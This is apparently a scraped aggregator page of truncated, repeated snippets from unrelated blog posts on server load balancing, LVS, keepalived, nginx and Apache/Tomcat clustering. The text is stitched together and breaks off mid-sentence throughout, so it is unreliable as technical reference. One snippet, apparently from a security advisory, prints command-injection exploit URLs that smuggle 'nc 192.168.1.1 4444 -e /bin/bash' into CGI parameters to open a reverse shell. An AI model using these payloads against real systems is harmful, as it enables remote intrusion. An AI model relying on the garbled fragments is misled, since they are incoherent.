1. Story ReviewIn my previous blog, I built two Web servers and then built an nginx load balancer server on the front end to distribute the requests to two different servers (http://blog.51cto.com/superpcm/2095324). The previous test is not a problem because the test program is a static web site that is purely static and does not change. Later I set up on both the web to build a WordPress service, and then
I. Concepts of reverse proxy and Server Load balancer
Before understanding the concepts of reverse proxy and Server Load balancer, we must first understand the concept of a cluster. Simply put, a cluster is a server that does the same thing, such as a web cluster, database cluster, and storage cluster, the cluster has
Author: sodimethylSource: http://blog.csdn.net/sodmeDisclaimer: This article may be reproduced without the consent of the author, but any reference to this article must indicate the author, source and the declaration information. Thank you !!
In network applications, "Server Load balancer" is no longer a new topic. From hardware to software, there are also many
First, load Balancing introduction
Main open source software LVs, keepalived, Haproxy, Nginx and so on;
The LVS belongs to 4 layer (network OSI 7 layer model), Nginx belongs to 7 layer, Haproxy can be considered as 4 layer, can be used as 7 layer;
Keepalived load balancing function is in fact LVS;
LVS This 4-layer
Introduction to load Balancing clusters
Main open source software LVs, keepalived, Haproxy, Nginx, etc.
The LVS belong to 4 layer (network OSI 7 layer model), Nginx belongs to 7 layer, Haproxy can be considered as 4 layer, can also be used as 7 layer
The Keepalived load balancing function is actually the LVS
LVS This 4-tier
In the past, running a large web application meant running a large web server. Because your application attracts a large number of users, you will have to add more memory and processors to your server. Today, the 'large server' model has passed, replacing it with a large number of small servers, using a variety of load balancing technologies. This is a more feasible way to minimize hardware costs.
The 'more servers' mode has more advantages than the
initiate the request to the server.Based on the characteristics of client load balancing:
Implemented by the client internal program, no additional load balancer hardware and software inputs are required.
Internal procedures need to address the issue of unavailability of the business Server, and server fa
In the past, running a large web application meant running a large web server. Because your application attracts a large number of users, you will have to add more memory and processors to your server. Today, the 'large server' mode has passed and replaced it with "> In the past, running a large web application meant running a large web server. Because your application attracts a large number of users, you will have to add more memory and processors to your server.
Today, the 'large server' mode
Today, the 'large Server' model has passed, replacing it with a large number of small servers, using a variety of load balancing technologies. This is a more feasible way to minimize hardware costs.
The 'more servers' mode has more advantages than the 'large Server' mode in the past. It is reflected in two aspects:
1. If the server goes down, the Server Load balan
and high availability and avoid spof.
In addition, the first method can be implemented by using the Keeoalive Software Based on VRRP routing protocol.
Method 2:(1): The domain name www.bkjia.com is resolved to the virtual IP address 61.1.1.2 and 61.1.1.3 through DNS round robin.(2) Under normal circumstances, the server is bound with a virtual IP address.Run the following command on server 161.1.1.4/Sbin/ifconfig etho: 1 61.1.1.2 broadcast 61.1.1.255
LVS Chinese site http://zh.linuxvirtualserver.org/I. Introduction of LVSLvs:linux virtual server abbreviation, meaning is a virtual servers Linux, is a virtualized server cluster system.LVS is an open source software, founded in May 1998 by Dr. Zhangwensong, a graduate of the National University of Defense technology, to achieve simple load balancing under the Linux platformPurpose:Implement a high-performa
In redhat9.0, lvs sets up the Server Load balancer server-Linux Enterprise Application-Linux server application information. The following is a detailed description. Install the required components:
Standard internal package linux-2.4.20-tar.gz, with the software matching the internal package s-1.0.09.tar.gz
Linux Kernel requires patching, hidden-2.4.20per10-1.di
I. Introduction of LVSLVS is a short name for Linux virtual server, the Linux web, is a free software project initiated by Dr. Zhangwensong and is now part of the Linux standard kernel. LVS is a TCP/IP-based load balancing technology that has high forwarding efficiency and the ability to process millions of concurrent connection requests.The IP load balancing tec
Local DNS;
8. The Local DNS returns the www.qq.com resolution record to the user.
Local DNS is generally provided by network operators (such as China Telecom and China Netcom.
The cache DNS is between the client (this is a relative concept) and the local DNS, and uses the cache function of the DNS server software and the close-up characteristics between the cache DNS and the client to accelerate domain name resolution.
You can also perform Domain Nam
Recently, the company wanted to provide customers with a cluster solution. The project team adopted Apache and tomcat cluster configuration to achieve load balancing.
I have never been familiar with Apache before, so I have some hands-on skills. I also searched for many cluster articles on the Internet, but none of them can be configured from start to end, or incomplete files and unclear interpretations.
I hope to take this opportunity to share and us
System environment: Windows XP SP3, jdk1.6.0 _ 13 software version: httpd-2.2.21-win32-x86-openssl-0.9.8r.msiapache-tomcat-6.0.33tomcat-connectors-1.2.32-windows-i386-httpd-2.2.x I was on a machine for testing, because I
System environment: Windows XP SP3, jdk1.6.0 _ 13
Software version: httpd-2.2.21-win32-x86-openssl-0.9.8r.msi apache-tomcat-6.0.33 tomcat-connectors-1.2.32-windows-i386-
Httpd-2.2.x
I
This section describes the problems encountered after nginx Server Load balancer is used:
Session Problems
File Upload/download
Generally, multi-server load splitting is used to solve server load problems. Common solutions include:
The website portal is connected to the server
intended only for security research and teaching. Users are at your own risk!
Http://www.example.com/index.cgi? Id = 2-2 amp; filelog = % 26nc + 192.168.1.1 + 4444 +-e
+/Bin/bash; amp; nlines = 1 amp; action = See + logsHttp://www.example.com/index.cgi? Id = 2-2 amp; filelog = # amp; nlines = 1% 26nc + 192.168.1.1 + 4444 +-e
+/Bin/bash; amp; action = See + logsHttp://www.example.com/index.cgi? Id = 3-2 amp; if = lo % 26nc + 192.168.1.1 + 4444 +-e +/bin/bash
% 26 amp; status = up amp; n
The main implementation is a high-availability server Load balancer web server cluster, suitable for lamp architecture. The front end uses two servers as The lvs + keepalived load scheduler. N servers can be used as the apache + php application server in the middle, and the next two servers are used as the mysql high-availability dual-machine, finally, a virtual
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.